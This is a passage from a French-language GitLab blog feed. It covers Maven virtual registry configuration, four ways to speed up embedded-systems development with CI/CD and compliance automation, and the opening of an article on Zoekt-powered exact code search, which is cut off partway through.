</li>
<li>
<p>Token de job CI : utilisez <code>Job-Token</code> comme nom et <code>${CI_JOB_TOKEN}</code> comme valeur.</p>
</li>
<li>
<p>Configurez le registre virtuel dans votre fichier <code>pom.xml</code>.</p>
</li>
</ul>
<p>Option 1 : en tant que registre supplémentaire :</p>
<pre><code>&lt;repositories&gt;
  &lt;repository&gt;
    &lt;id&gt;gitlab-maven&lt;/id&gt;
    &lt;url&gt;https://gitlab.example.com/api/v4/virtual_registries/packages/maven/&lt;virtual registry id&gt;&lt;/url&gt;
  &lt;/repository&gt;
&lt;/repositories&gt;
</code></pre>
<p>Option 2 : en remplacement de Maven Central (dans votre fichier <code>settings.xml</code>) :</p>
<pre><code>&lt;mirrors&gt;
  &lt;mirror&gt;
    &lt;id&gt;gitlab-maven&lt;/id&gt;
    &lt;name&gt;GitLab virtual registry for Maven Central&lt;/name&gt;
    &lt;url&gt;https://gitlab.example.com/api/v4/virtual_registries/packages/maven/&lt;virtual registry id&gt;&lt;/url&gt;
    &lt;mirrorOf&gt;central&lt;/mirrorOf&gt;
  &lt;/mirror&gt;
&lt;/mirrors&gt;
</code></pre>
<ol start="2">
<li><strong>Utilisation :</strong> désormais, toutes vos opérations Maven utiliseront ce dépôt virtuel.</li>
</ol>
<pre><code># For personal access tokens
export GITLAB_TOKEN=your_personal_access_token

# For group deploy tokens
export GITLAB_DEPLOY_TOKEN=your_deploy_token

# For group access tokens
export GITLAB_ACCESS_TOKEN=your_access_token

# Then run Maven commands normally
mvn package

</code></pre>
<ol start="3">
<li>Avantages</li>
</ol>
<ul>
<li>Gestion simplifiée des dépendances</li>
<li>Temps de compilation réduits</li>
<li>Sécurité et conformité renforcées</li>
<li>Contrôle amélioré des dépendances tierces</li>
</ul>
<h3>Rejoignez le programme bêta</h3>
<p>Nous recherchons activement des participants souhaitant tester notre version bêta :</p>
<ul>
<li>Accédez en avant-première à la fonctionnalité de registre virtuel Maven.</li>
<li>Transmettez directement vos retours à notre équipe de développement.</li>
<li>Contribuez activement à façonner l'avenir de la gestion des paquets Maven dans GitLab.</li>
<li>Participez à des webinaires et sessions de questions-réponses exclusifs animés par notre équipe produit.</li>
</ul>
<blockquote>
<p>Pour rejoindre le programme bêta ou en savoir plus sur le registre virtuel Maven, consultez notre page dédiée au <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/498139">programme bêta du registre virtuel Maven de GitLab</a> (<strong>Remarque :</strong> lien provisoire).</p>
</blockquote>
<h2>Résumé</h2>
<p>Chez GitLab, nous avons à cœur de proposer des outils à la fois sécurisés, performants et évolutifs pour accompagner votre développement logiciel. Le registre virtuel Maven illustre notre volonté constante d'innover pour répondre aux besoins croissants des développeurs et ingénieurs de plateforme.</p>
<p>En appliquant les mesures de sécurité et les techniques d'optimisation abordées dans cet article, et en tirant parti des futures fonctionnalités telles que le registre virtuel Maven, vous renforcerez l'efficacité de votre workflow Maven dans GitLab.</p>
<p>Nous sommes impatients de voir comment ces nouvelles fonctionnalités de gestion des paquets dans GitLab contribueront à perfectionner vos processus de développement. Restez à l'écoute et bon codage !</p>
]]></content>
        <author>
            <name>Tim Rizzi</name>
            <uri>https://about.gitlab.com/blog/authors/tim-rizzi</uri>
        </author>
        <published>2025-07-30T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Accélérez le développement de systèmes embarqués avec GitLab]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/4-ways-to-accelerate-embedded-development-with-gitlab/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/4-ways-to-accelerate-embedded-development-with-gitlab/"/>
        <updated>2025-07-29T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Les logiciels présents dans les systèmes embarqués, autrefois perçus comme de simples composants techniques, constituent désormais un facteur de différenciation essentiel. Les micrologiciels qui optimisent le fonctionnement de nos véhicules, avions et équipements industriels atteignent aujourd’hui un niveau de complexité remarquable. D'ici fin 2025, chaque véhicule contiendra en moyenne <a href="https://www.statista.com/statistics/1370978/automotive-software-average-lines-of-codes-per-vehicle-globally/">650 millions</a> de lignes de code, contre 200 millions il y a seulement cinq ans. Dans l’aérospatial, la complexité des logiciels embarqués a presque <a href="https://www.mckinsey.com/industries/aerospace-and-defense/our-insights/debugging-the-software-talent-gap-in-aerospace-and-defense">doublé tous les quatre ans</a> au cours des dernières décennies.</p>
<p>Les approches traditionnelles de développement de systèmes embarqués ralentissent le travail des ingénieurs, qui peinent à gérer efficacement la complexité croissante des composants logiciels des machines modernes, notamment :</p>
<ul>
<li><a href="#challenge-1-hardware-testing-bottlenecks">Les goulots d'étranglement lors des tests matériels</a></li>
<li><a href="#challenge-2-inconsistent-build-environments">Les environnements de compilation incohérents</a></li>
<li><a href="#challenge-3-siloed-development-practices">Les pratiques de développement cloisonnées</a></li>
<li><a href="#challenge-4-manual-functional-safety-compliance-processes">Les processus manuels de conformité à la sécurité fonctionnelle</a></li>
</ul>
<p>Les équipes chargées de développer des systèmes embarqués doivent adopter une nouvelle approche pour faire face à l'augmentation rapide de la taille des dépôts de code.</p>
<p>Découvrez dans cet article quatre façons de tirer parti des capacités d'IA native de la plateforme DevSecOps de GitLab, afin de raccourcir les boucles de rétroaction, favoriser un travail collaboratif et itératif, et rationaliser la gestion de la conformité.</p>
<h2>Défi 1 : les goulots d'étranglement lors des tests matériels</h2>
<p>Contrairement aux logiciels d'entreprise qui peuvent s'exécuter sur pratiquement n'importe quel serveur cloud, les logiciels embarqués du secteur automobile doivent être testés sur du matériel spécialisé reproduisant fidèlement les environnements de production. Les processus de test HIL (Hardware-In-the-Loop) traditionnels suivent souvent ce workflow :</p>
<ol>
<li>Un développeur écrit le code d'un système embarqué (par exemple, une unité de commande électronique).</li>
<li>Il sollicite l'accès à des bancs d'essai matériels limités et onéreux (le prix peut varier entre 500 000 $ et 10 millions de dollars chacun).</li>
<li>Il patiente plusieurs jours, voire des semaines, avant d'obtenir cet accès.</li>
<li>Puis il déploie et teste manuellement le code directement sur son poste de travail.</li>
<li>Enfin, il documente les résultats des tests, transmet le matériel à un autre membre de l'équipe de développement pour la suite du projet, et attend de pouvoir effectuer à nouveau d'autres tests matériels.</li>
</ol>
<p>Ce processus s'avère particulièrement inefficace. Une fois leur code écrit, les développeurs de systèmes embarqués peuvent attendre plusieurs semaines avant de pouvoir le tester sur une cible matérielle. Entre temps, ils sont déjà passés à d'autres tâches, ce qui entraîne un changement de contexte préjudiciable à leur productivité. Pire encore, ils peuvent découvrir au bout de plusieurs semaines qu'une simple erreur de calcul s'est glissée dans leur code.</p>
<h3>Solution : allocation automatisée du matériel et intégration continue</h3>
<p>Vous pouvez rationaliser les tests matériels grâce à l'automatisation en utilisant le composant CI/CD <a href="https://gitlab.com/guided-explorations/embedded/ci-components/device-cloud">On-Premises Device Cloud</a> de GitLab. Ce composant permet d'automatiser l'orchestration de ressources matérielles limitées en transformant un processus manuel et fastidieux en un workflow rationalisé et continu.</p>
<p>Le composant On-Premises Device Cloud procède comme suit :</p>
<ol>
<li>Il crée des pools de ressources matérielles partagées.</li>
<li>Il alloue automatiquement (et exclusivement) du matériel aux tâches de test matériel du pipeline d'un développeur en fonction de la disponibilité.</li>
<li>Il déploie et exécute les tests sans intervention manuelle.</li>
<li>Il collecte les résultats des tests et les partage via des <a href="https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/" title="Qu'est-ce qu'un pipeline CI/CD ?">pipelines CI/CD</a> intégrés.</li>
<li>Il libère automatiquement le matériel dans le pool de ressources « disponibles ».</li>
</ol>
<p>Une fois que vous avez soumis le code, vous recevez les résultats en quelques heures, au lieu de plusieurs jours auparavant, souvent sans jamais toucher physiquement le matériel de test.</p>
<p>Découvrez dans cette vidéo comment le composant CI/CD On-Premises Device Cloud de GitLab permet d'orchestrer à distance l'allocation de matériel partagé pour les tests HIL :</p>
<p>&lt;!-- blank line --&gt;</p>
<p>&lt;figure class=&quot;video_container&quot;&gt; &lt;iframe src=&quot;https://www.youtube.com/embed/ltr2CIM9Zag?si=NOij3t1YYz4zKajC&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt; &lt;/iframe&gt; &lt;/figure&gt;
&lt;!-- blank line --&gt;</p>
<p>Vous pouvez également adopter des stratégies de test multi-niveaux, qui offrent un compromis optimal entre rapidité d'exécution et qualité des résultats. Pour cela, intégrez les modèles et environnements de test de systèmes embarqués suivants dans vos pipelines automatisés GitLab CI :</p>
<ul>
<li><strong>Software-in-the-Loop (SIL) :</strong> tests effectués sur des simulateurs de matériel virtuels pour obtenir plus rapidement les tout premiers retours sur le code.</li>
<li><strong>Processor-in-the-Loop (PIL) :</strong> tests réalisés sur un processeur proche du contexte final pour obtenir des retours sur le code plus rapidement et à moindre coût.</li>
<li><strong>Hardware-in-the-Loop (HIL) :</strong> tests sur du matériel complet équivalent à celui de l'environnement de production, utilisés comme bancs d'essai pour vérification à un stade avancé.</li>
</ul>
<p>En automatisant l'orchestration de ces différents tests dans vos pipelines CI, vous serez en mesure d'identifier les problèmes plus tôt, d'itérer plus rapidement et d'accélérer les délais de mise sur le marché.</p>
<h2>Défi 2 : les environnements de compilation incohérents</h2>
<p>L'hétérogénéité des environnements de compilation constitue un problème majeur dans le développement de systèmes embarqués. Les équipes chargées de développer des systèmes embarqués exécutent souvent manuellement des compilations sur leurs machines locales avec des configurations, versions de compilateur et dépendances parfois très différentes. Elles intègrent ensuite les binaires issus de leurs compilations locales dans le code source partagé.</p>
<p>Cette approche entraîne plusieurs problèmes :</p>
<ul>
<li><strong>Résultats incohérents :</strong> basées sur le même code source, les compilations produisent des résultats différents selon les machines utilisées.</li>
<li><strong>Syndrome du « Ça fonctionne sur ma machine » :</strong> le code compilé localement échoue dans les environnements partagés.</li>
<li><strong>Mauvaise traçabilité :</strong> piste d'audit limitée pour connaître l'auteur, la date et le motif de la compilation.</li>
<li><strong>Compartimentation des connaissances :</strong> seuls quelques experts maîtrisent le processus de compilation.</li>
</ul>
<p>Cette approche accroît le risque d'erreurs, crée des goulots d'étranglement et peut générer des retards coûteux.</p>
<h3>Solution : automatisation standardisée des compilations</h3>
<p>Vous pouvez relever ces défis en mettant en œuvre une automatisation standardisée de la compilation au sein de vos pipelines CI/CD dans GitLab. Cette approche garantit des environnements de compilation cohérents, reproductibles et basés sur des conteneurs, éliminant ainsi les variations spécifiques de configuration entre les différentes machines. En combinant cette standardisation avec des scripts de provisionnement Embedded Gateway Runner spécifiques, les conteneurs peuvent s'interfacer avec le matériel pour y déployer du code et surveiller les ports dans le cadre de tests automatisés.</p>
<p>Voici les points clés de cette solution :</p>
<ul>
<li><strong>Environnements gérés par le cycle de vie :</strong> définissez vos environnements de simulation de systèmes embarqués complexes sous forme de code, déployez-les automatiquement pour les tests, puis détruisez-les une fois les tests terminés.</li>
<li><strong>Conteneurisation :</strong> utilisez des conteneurs Docker pour garantir des environnements de compilation homogènes et reproductibles.</li>
<li><strong>Gestion automatisée des dépendances :</strong> assurez un contrôle et un versionnage rigoureux de toutes les dépendances.</li>
<li><strong>Compilations centralisée :</strong> exécutez les compilations sur une infrastructure partagée, plutôt que sur des machines locales.</li>
</ul>
<blockquote>
<p>Suivez ce tutoriel et découvrez <a href="https://gitlab.com/guided-explorations/embedded/workshops/embedded-devops-workshop-refactoring-to-ci/-/blob/main/TUTORIAL2.md%20">comment automatiser les compilations de logiciels embarqués dans un pipeline GitLab CI</a>.</p>
</blockquote>
<p>En standardisant et en automatisant le processus de compilation, vous vous assurez que chaque compilation suit les mêmes étapes avec des dépendances identiques, produisant ainsi des résultats cohérents, quelle que soit la personne qui l'a initiée. Cette approche améliore non seulement la qualité, mais rend aussi le processus accessible à toute l'équipe, même aux membres ne possédant pas une expertise approfondie dans ce domaine.</p>
<h2>Défi 3 : les pratiques de développement cloisonnées</h2>
<p>Alors que les équipes de développement ont largement adopté des pratiques collaboratives telles que <a href="https://about.gitlab.com/fr-fr/topics/devops/" title="Qu'est-ce que l'approche DevOps ?">DevOps</a>, en s'appuyant sur la gestion partagée du code source (SCM) et les systèmes d'intégration et de livraison continues (<a href="https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/" title="Qu'est-ce que le CI/CD ?">CI/CD</a>), les développeurs de systèmes embarqués travaillent encore souvent seuls à leur bureau. Cette situation s'explique par plusieurs contraintes techniques légitimes.</p>
<p>Par exemple, la virtualisation matérielle est un pilier de l'automatisation DevOps. Toutefois, le secteur a été plus lent à virtualiser la vaste gamme de processeurs et de cartes spécialisés utilisés dans les systèmes embarqués, en grande partie en raison des difficultés liées à la virtualisation des systèmes de production en temps réel et d'un manque d'incitations économiques. Nous pouvons comparer cela à la virtualisation cloud, qui s'est largement démocratisée et a profité au développement SaaS depuis plus d'une décennie.</p>
<p>Aujourd'hui, de nombreux fournisseurs adoptent désormais la virtualisation afin d'accélérer le développement des systèmes embarqués. Cependant, si les équipes ne parviennent pas à adopter des options de test virtuel, l'effet de silo persistera, avec des impacts négatifs sur l'entreprise, notamment les suivants :</p>
<ul>
<li><strong>Une fragmentation des connaissances</strong> : les informations critiques restent dispersées entre différents membres de l'équipe et entre différentes équipes.</li>
<li><strong>Un développement redondant</strong> : plusieurs équipes résolvent les mêmes problèmes, ce qui crée des incohérences.</li>
<li><strong>Une découverte tardive lors des intégrations massives (big-bang)</strong> : les problèmes ne sont détectés qu'aux dernières étapes du processus, lorsque plusieurs développeurs intègrent leur code en même temps, rendant la correction des erreurs plus coûteuses.</li>
<li><strong>Un ralentissement de l'innovation</strong> : les solutions développées dans un domaine ont peu d'impact sur les autres, ce qui entrave le développement de nouvelles idées de produits.</li>
</ul>
<h3>Solution : ingénierie collaborative via une plateforme unifiée</h3>
<p>Une étape importante pour briser ces silos consiste à standardiser le développement de systèmes embarqués sur la plateforme <a href="https://about.gitlab.com/fr-fr/topics/devsecops/" title="Qu'est-ce que le DevSecOps ?">DevSecOps</a> unifiée de GitLab. GitLab joue un rôle central dans l’évolution des systèmes embarqués vers des plateformes consolidées et partagées, adaptées aux contraintes des appareils embarqués.</p>
<p>La plateforme GitLab offre notamment les avantages suivants :</p>
<ul>
<li><strong>Une visibilité partagée :</strong> l'ensemble du code, des tickets et de la documentation sont accessibles à toutes les équipes.</li>
<li><strong>Des workflows collaboratifs :</strong> favorisez la revue par les pairs et le partage des connaissances par le biais de merge requests.</li>
<li><strong>Des connaissances centralisées :</strong> maintenez une source unique de vérité pour tous les artefacts de développement.</li>
<li><strong>Une collaboration asynchrone :</strong> les équipes sont en mesure de collaborer efficacement, quel que soit leur localisation ou leur fuseau horaire.</li>
</ul>
<p>La collaboration entre les humains et les agents d'IA est un ingrédient fondamental pour stimuler les innovations orientées client, tant pour les générations nées à l'ère du numérique que pour les marques établies proposant des systèmes embarqués. GitLab facilite cette synergie en favorisant la transparence tout au long du cycle de développement, transformant ainsi le développement de systèmes embarqués en une pratique collaborative plutôt qu'une activité isolée. Les équipes de développement peuvent suivre le travail de leurs collègues, apprendre des expériences collectives et s'appuyer sur des solutions partagées.</p>
<p>Regardez cette présentation d'Embedded World Germany 2025 et découvrez le potentiel des équipes chargées de développer des systèmes embarqués qui collaborent et partagent leur travail en cours en temps réel. La partie démonstration (de 24:42 à 36:51) illustre comment intégrer les tests HIL dans un pipeline GitLab CI afin de favoriser un développement collaboratif efficace.</p>
<p>&lt;!-- blank line --&gt;</p>
<p>&lt;figure class=&quot;video_container&quot;&gt; &lt;iframe src=&quot;https://www.youtube.com/embed/F_rlOyq0hzc?si=eF4alDY6HK98uZPj&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt; &lt;/iframe&gt; &lt;/figure&gt;
&lt;!-- blank line --&gt;</p>
<p>Plus important encore, en renforçant leur collaboration grâce à l'approche DevSecOps, les équipes parviennent à concevoir des systèmes embarqués totalement novateurs. En effet, la collaboration alimente l'innovation. Par exemple, <a href="https://www.sciencedirect.com/science/article/abs/pii/S0749597800928887">une étude</a> a démontré que le brainstorming de groupe, lorsqu'il est correctement structuré, génère des idées plus innovantes et créatives que le travail individuel. Dans la course au développement de produits définis par logiciel, le développement collaboratif est donc un facteur clé de succès.</p>
<h2>Défi 4 : les processus manuels de conformité à la sécurité fonctionnelle</h2>
<p>Dans les secteurs de l'automobile et de l'aérospatiale, les systèmes embarqués doivent respecter des normes strictes de sécurité fonctionnelle, telles que les ISO 26262, MISRA C/C++, DO-178C et DO-254. Les approches traditionnelles de conformité impliquent des revues manuelles, une documentation volumineuse et plusieurs étapes de vérification tardives dans le cycle de développement. Elles créent souvent des goulots d'étranglement lors de la recherche de failles de sécurité. Par exemple, lorsque des scanners spécialisés dans la sécurité et la qualité du code des systèmes embarqués détectent des vulnérabilités, le ticket associé vient s'ajouter à la pile de tickets non résolus. Les développeurs ne peuvent pas intégrer leur code et les équipes de sécurité doivent traiter un important backlog de violations des exigences de conformité. Cette situation ralentit considérablement les délais de mise en conformité et freine l'avancement global du projet.</p>
<p>Voici les principaux défis à relever :</p>
<ul>
<li><strong>Détection tardive des problèmes de conformité</strong> : les anomalies sont découvertes une fois le développement terminé.</li>
<li><strong>Charge de travail liée à la documentation</strong> : effort manuel important pour créer et maintenir des preuves de conformité.</li>
<li><strong>Goulots d'étranglement relatifs aux processus</strong> : étapes de conformité réalisées de manière séquentielle, qui bloquent la progression du développement.</li>
<li><strong>Dépendance à l'expertise</strong> : un nombre limité de spécialistes sont sollicités pour les activités de contrôle de la conformité.</li>
</ul>
<p>En conséquence, les équipes doivent souvent choisir entre vélocité et conformité, un compromis risqué lorsqu'il s'agit de systèmes critiques pour la sécurité.</p>
<h3>Solution : un workflow automatisé de contrôle de la conformité en matière de sécurité fonctionnelle</h3>
<p>Plutôt que de traiter la sécurité et la conformité comme des étapes de vérification post-développement, vous pouvez codifier les exigences de conformité et les appliquer automatiquement via <a href="https://about.gitlab.com/blog/introducing-custom-compliance-frameworks-in-gitlab/">des frameworks personnalisables dans GitLab</a>. Pour ce faire, en particulier pour les normes de sécurité fonctionnelle, vous pouvez intégrer GitLab à des outils spécialisés, capables d’analyser en profondeur les micrologiciels conformément aux normes en vigueur dans ce domaine. Parallèlement, GitLab propose des contrôles de conformité automatisés, des pistes d'audit complètes et un contrôle rigoureux des merge requests : autant de fonctionnalités essentielles pour prendre en charge un programme de conformité logicielle continue robuste.</p>
<p>Voici les composants de cette approche intégrée :</p>
<ul>
<li><strong>Compliance-as-Code :</strong> définissez les exigences de conformité sous forme de contrôles automatisés.</li>
<li><strong>Intégration d'outils spécialisés :</strong> connectez des outils tels que CodeSonar à la plateforme DevSecOps pour valider les exigences de conformité propres au secteur automobile.</li>
<li><strong>Vérification continue de la conformité :</strong> évaluez la conformité tout au long du cycle de développement.</li>
<li><strong>Collecte automatisée des preuves :</strong> rassemblez les artefacts de conformité comme un sous-produit du développement.</li>
</ul>
<p>Découvrez dans cette vidéo comment tirer parti des frameworks de conformité personnalisés dans GitLab afin de créer vos propres politiques de conformité adaptées aux normes en vigueur (par exemple, ISO 26262) et comment les appliquer automatiquement à vos projets dans GitLab.</p>
<p>&lt;!-- blank line --&gt;</p>
<p>&lt;figure class=&quot;video_container&quot;&gt; &lt;iframe src=&quot;https://www.youtube.com/embed/S-FQjzSyVJw?si=0UdtGNuugLPG0SLL&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;true&quot;&gt; &lt;/iframe&gt; &lt;/figure&gt;
&lt;!-- blank line --&gt;</p>
<p>En contrôlant la conformité en amont et en l'intégrant naturellement dans vos workflows de développement existants, vous pouvez maintenir les normes de sécurité sans compromettre la vélocité. Les contrôles automatisés détectent les problèmes à un stade précoce, lorsqu'ils sont plus faciles et moins coûteux à résoudre, tandis que la collecte continue de preuves réduit la charge de travail liée à la gestion de la documentation.</p>
<h2>Accélérez la livraison de vos logiciels avec les systèmes embarqués</h2>
<p>Le développement de systèmes embarqués connaît une transformation rapide. Les équipes qui s'en tiennent à des processus manuels et des workflows isolés seront de plus en plus à la traîne, tandis que celles qui adoptent des pratiques automatisées et collaboratives dessineront l'avenir des systèmes intelligents définis par logiciel.</p>
<p>Pour vous lancer, explorez notre <a href="https://gitlab.com/guided-explorations/embedded/workshops/embedded-devops-workshop-refactoring-to-ci">atelier DevOps dédié aux systèmes embarqués</a> et commencez à automatiser vos workflows de développement de systèmes embarqués avec GitLab. Vous pouvez également <a href="https://content.gitlab.com/viewer/0a35252831bd130f879b0725738f70ed">regarder cette présentation par le Field Chief Cloud Architect de GitLab</a> pour découvrir comment les entreprises leader intègrent les tests matériels dans leurs workflows d'intégration continue afin d'accélérer la livraison de leurs systèmes embarqués.</p>
]]></content>
        <author>
            <name>Matt DeLaney</name>
            <uri>https://about.gitlab.com/blog/authors/matt-delaney</uri>
        </author>
        <author>
            <name>Darwin Sanoy</name>
            <uri>https://about.gitlab.com/blog/authors/darwin-sanoy</uri>
        </author>
        <published>2025-07-29T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Recherche exacte de code : trouvez rapidement du code dans vos dépôts]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/exact-code-search-find-code-faster-across-repositories/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/exact-code-search-find-code-faster-across-repositories/"/>
        <updated>2025-07-23T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Imaginez pouvoir cibler n'importe quelle ligne de code parmi 48 To de dépôts
en quelques millisecondes. Ceci est désormais possible avec la
fonctionnalité de <a href="https://docs.gitlab.com/ee/user/search/exact_code_search.html">recherche exacte de
code</a> de
GitLab qui fournit une précision extrême, une prise en charge avancée des
expressions régulières (regex) et des résultats contextuels sur plusieurs
lignes. En présence de dépôts de code volumineux, cette fonctionnalité
facilite considérablement le travail des équipes.</p>
<h2>Pourquoi la recherche de code traditionnelle est-elle problématique ?</h2>
<p>Toute personne travaillant avec du code connaît la frustration de devoir chercher du code dans plusieurs dépôts. Qu'il s'agisse de déboguer un problème, d'examiner des fichiers de configuration, de rechercher des vulnérabilités, de mettre à jour une documentation ou de vérifier la mise en œuvre d'un projet, vous savez exactement ce que vous cherchez, mais les outils de recherche traditionnels vous font régulièrement défaut.</p>
<p>Ces outils renvoient trop souvent des dizaines de faux positifs, manquent cruellement de contexte pour comprendre les résultats obtenus et sont de plus en plus lents à mesure que le code source s’étoffe. Par conséquent, vous perdez un temps précieux à chercher une aiguille dans une botte de foin au lieu de compiler, de sécuriser ou d'améliorer votre logiciel.</p>
<p>La fonctionnalité de recherche de code de GitLab était jusqu'ici prise en charge par Elasticsearch ou OpenSearch. Bien qu'excellents pour rechercher des tickets, des merge requests, des commentaires et d'autres données contenant du langage naturel, ces outils n'ont tout simplement pas été spécifiquement conçus pour le code. Après <a href="https://gitlab.com/groups/gitlab-org/-/epics/7404">avoir évalué de nombreuses options</a>, nous avons développé une meilleure solution.</p>
<h2>Qu'est-ce que la recherche exacte de code ?</h2>
<p>La <strong><a href="https://docs.gitlab.com/ee/user/search/exact_code_search.html">recherche exacte de code</a></strong> de GitLab est actuellement en phase de test bêta et optimisée par <a href="https://github.com/sourcegraph/zoekt">Zoekt</a> (prononcé « zookt », qui signifie « recherche » en néerlandais). Zoekt est un moteur de recherche de code open source initialement développé par Google et aujourd'hui maintenu par Sourcegraph. Conçu spécifiquement pour une recherche de code à la fois rapide et précise à grande échelle, nous l'avons enrichi avec des intégrations propres à GitLab, des améliorations avancées et une intégration facilitée du système d'autorisations.</p>
<p>Cette fonctionnalité révolutionne la manière dont vous recherchez et comprenez le code grâce aux trois éléments clés :</p>
<p><strong>1. Un mode de recherche par correspondance exacte</strong></p>
<p>Lorsque vous basculez en <strong>mode de recherche par correspondance exacte</strong>, le moteur de recherche ne renvoie que les résultats qui correspondent exactement à votre requête, éliminant ainsi les faux positifs. Cette précision est inestimable dans les cas de figure suivants :</p>
<ul>
<li>
<p>Vous recherchez des messages d'erreur spécifiques.</p>
</li>
<li>
<p>Vous recherchez des signatures de fonctions précises.</p>
</li>
<li>
<p>Vous recherchez des instances de noms de variables spécifiques.</p>
</li>
</ul>
<p><strong>2. Un mode de recherche par expression régulière</strong></p>
<p>Pour les recherches complexes, ce mode vous permet de créer des motifs de recherche sophistiqués :</p>
<ul>
<li>
<p>Trouvez des fonctions selon des motifs de nommage spécifiques.</p>
</li>
<li>
<p>Déterminez l’emplacement des variables qui correspondent à certains critères précis.</p>
</li>
<li>
<p>Identifiez les failles de sécurité potentielles à l'aide de la correspondance de motifs.</p>
</li>
</ul>
<p><strong>3. Des correspondances sur plusieurs lignes</strong></p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1750704179/ttjuilkt3v7gtyywnchx.png" alt="Recherche exacte de code"></p>
<p>En plus de la ligne contenant le code recherché, vous avez accès au contexte environnant qui est indispensable pour bien comprendre le code. Vous n'avez donc plus besoin d'accéder aux fichiers dans le seul but d'obtenir un contexte plus clair, ce qui accélère considérablement votre workflow.</p>
<h2>Des fonctionnalités aux workflows : cas d'utilisation et impact associé</h2>
<p>Examinons maintenant comment ces nouvelles capacités se traduisent dans le quotidien des équipes de développement  :</p>
<h3>Débogage en quelques secondes</h3>
<p>Voici un exemple de workflow tel qu'il pouvait être envisagé avant que la recherche exacte de code ne soit disponible : vous deviez copier un message d'erreur, lancer une recherche, parcourir une longue liste de correspondances partielles dans les commentaires, la documentation et les fragments de code, cliquer sur plusieurs fichiers... avant de trouver enfin la ligne de code que vous recherchiez.</p>
<p>Avec la recherche exacte de code, le processus est le suivant :</p>
<ol>
<li>
<p>Vous copiez le message d'erreur exact.</p>
</li>
<li>
<p>Vous le collez dans la fonctionnalité de recherche exacte de code en activant le mode de recherche par correspondance exacte.</p>
</li>
<li>
<p>Vous trouvez instantanément l'emplacement précis où l'erreur est présente, avec le contexte environnant nécessaire à sa compréhension.</p>
</li>
</ol>
<p><strong>Impact :</strong> vous réduisez ainsi le temps de débogage de plusieurs minutes à quelques secondes, sans frustration ni faux positifs.</p>
<h3>Exploration rapide de codes sources inconnus</h3>
<p>Voici un exemple de workflow tel qu'il pouvait être envisagé avant que la recherche exacte de code ne soit disponible : vous deviez parcourir les répertoires, deviner l'emplacement probable des fichiers, ouvrir des dizaines de fichiers et élaborer peu à peu une compréhension globale du code source.</p>
<p>Avec la recherche exacte de code, le processus est le suivant :</p>
<ul>
<li>
<p>Vous recherchez directement les méthodes ou classes principales avec le mode de recherche par correspondance exacte.</p>
</li>
<li>
<p>Vous examinez plusieurs correspondances de lignes pour comprendre les détails de leur mise en œuvre.</p>
</li>
<li>
<p>Vous utilisez le mode de recherche par expression régulière pour identifier des motifs similaires dans l'ensemble du code source.</p>
</li>
</ul>
<p><strong>Impact :</strong> vous bénéficiez d'une vision claire de l'architecture du code en quelques minutes plutôt qu'en quelques heures, ce qui accélère considérablement l'intégration de nouveaux membres au sein de l'équipe ainsi que la collaboration transversale.</p>
<h3>Refactorisation sécurisée</h3>
<p>Voici un exemple de workflow tel qu'il pouvait être envisagé avant que la recherche exacte de code ne soit disponible : vous deviez localiser toutes les occurrences d'une méthode, mais certaines passaient inaperçues, et vous introduisiez des bogues en raison d'une refactorisation incomplète.</p>
<p>Avec la recherche exacte de code, le processus est le suivant :</p>
<ul>
<li>
<p>Vous utilisez le mode de recherche par correspondance exacte pour identifier toutes les occurrences de méthodes ou de variables.</p>
</li>
<li>
<p>Vous examinez le contexte pour comprendre les motifs d'utilisation.</p>
</li>
<li>
<p>Vous planifiez votre refactorisation avec des informations complètes sur son impact.</p>
<p><strong>Impact :</strong> vous éliminez les bogues liés aux « occurrences manquées » qui entravent souvent les efforts de refactorisation, vous améliorez la qualité du code et vous réduisez les ajustements nécessaires.</p>
</li>
</ul>
<h3>Audit de sécurité optimisé</h3>
<p>Les équipes de sécurité peuvent :</p>
<ul>
<li>
<p>Créer des motifs regex ciblant les portions de code présentant des vulnérabilités connues</p>
</li>
<li>
<p>Effectuer une recherche dans tous les dépôts d'un espace de nommage</p>
</li>
<li>
<p>Identifier rapidement les failles de sécurité potentielles avec un contexte facilitant l'évaluation des risques</p>
</li>
</ul>
<p><strong>Impact :</strong> vous transformez vos audits de sécurité, souvent manuels et sujets aux erreurs, en revues systématiques et exhaustives.</p>
<h3>Informations recoupées entre plusieurs dépôts</h3>
<p>Vos équipes peuvent effectuer une recherche dans l'ensemble de votre espace de nommage ou de votre instance pour :</p>
<ul>
<li>
<p>Identifier des implémentations similaires dans différents projets</p>
</li>
<li>
<p>Identifier des opportunités de création de bibliothèques partagées ou de standardisation du code</p>
</li>
</ul>
<p><strong>Impact :</strong> vous éliminez les silos entre les projets et identifiez les opportunités de réutilisation et de standardisation du code.</p>
<h2>Zoekt : rapidité et précision au service du code</h2>
<p>Avant de détailler nos réalisations à grande échelle, explorons ce qui distingue Zoekt des moteurs de recherche traditionnels, et pourquoi il peut trouver des correspondances exactes aussi rapidement.</p>
<h3>Trigrammes positionnels : le secret d'une correspondance exacte ultra-rapide</h3>
<p>La rapidité de Zoekt provient de son utilisation de <strong>trigrammes positionnels</strong>, une technique qui indexe chaque séquence de trois caractères en conservant leur position exacte dans les fichiers. Cette approche résout l'un des plus grands défis que les équipes de développement rencontrent avec la recherche de code basée sur Elasticsearch : les faux positifs.</p>
<p>Voici le principe :</p>
<p>Les <strong>moteurs de recherche plein texte traditionnels</strong> comme Elasticsearch segmentent le code en mots isolés et perdent ainsi les informations de position. Par exemple, lorsque vous recherchez <code>getUserId()</code>, ils peuvent renvoyer des résultats contenant les fragments <strong>user</strong>, <strong>get</strong> et <strong>Id</strong> dispersés dans un même fichier, ce qui génère des faux positifs, source de frustration pour les utilisateurs de GitLab.</p>
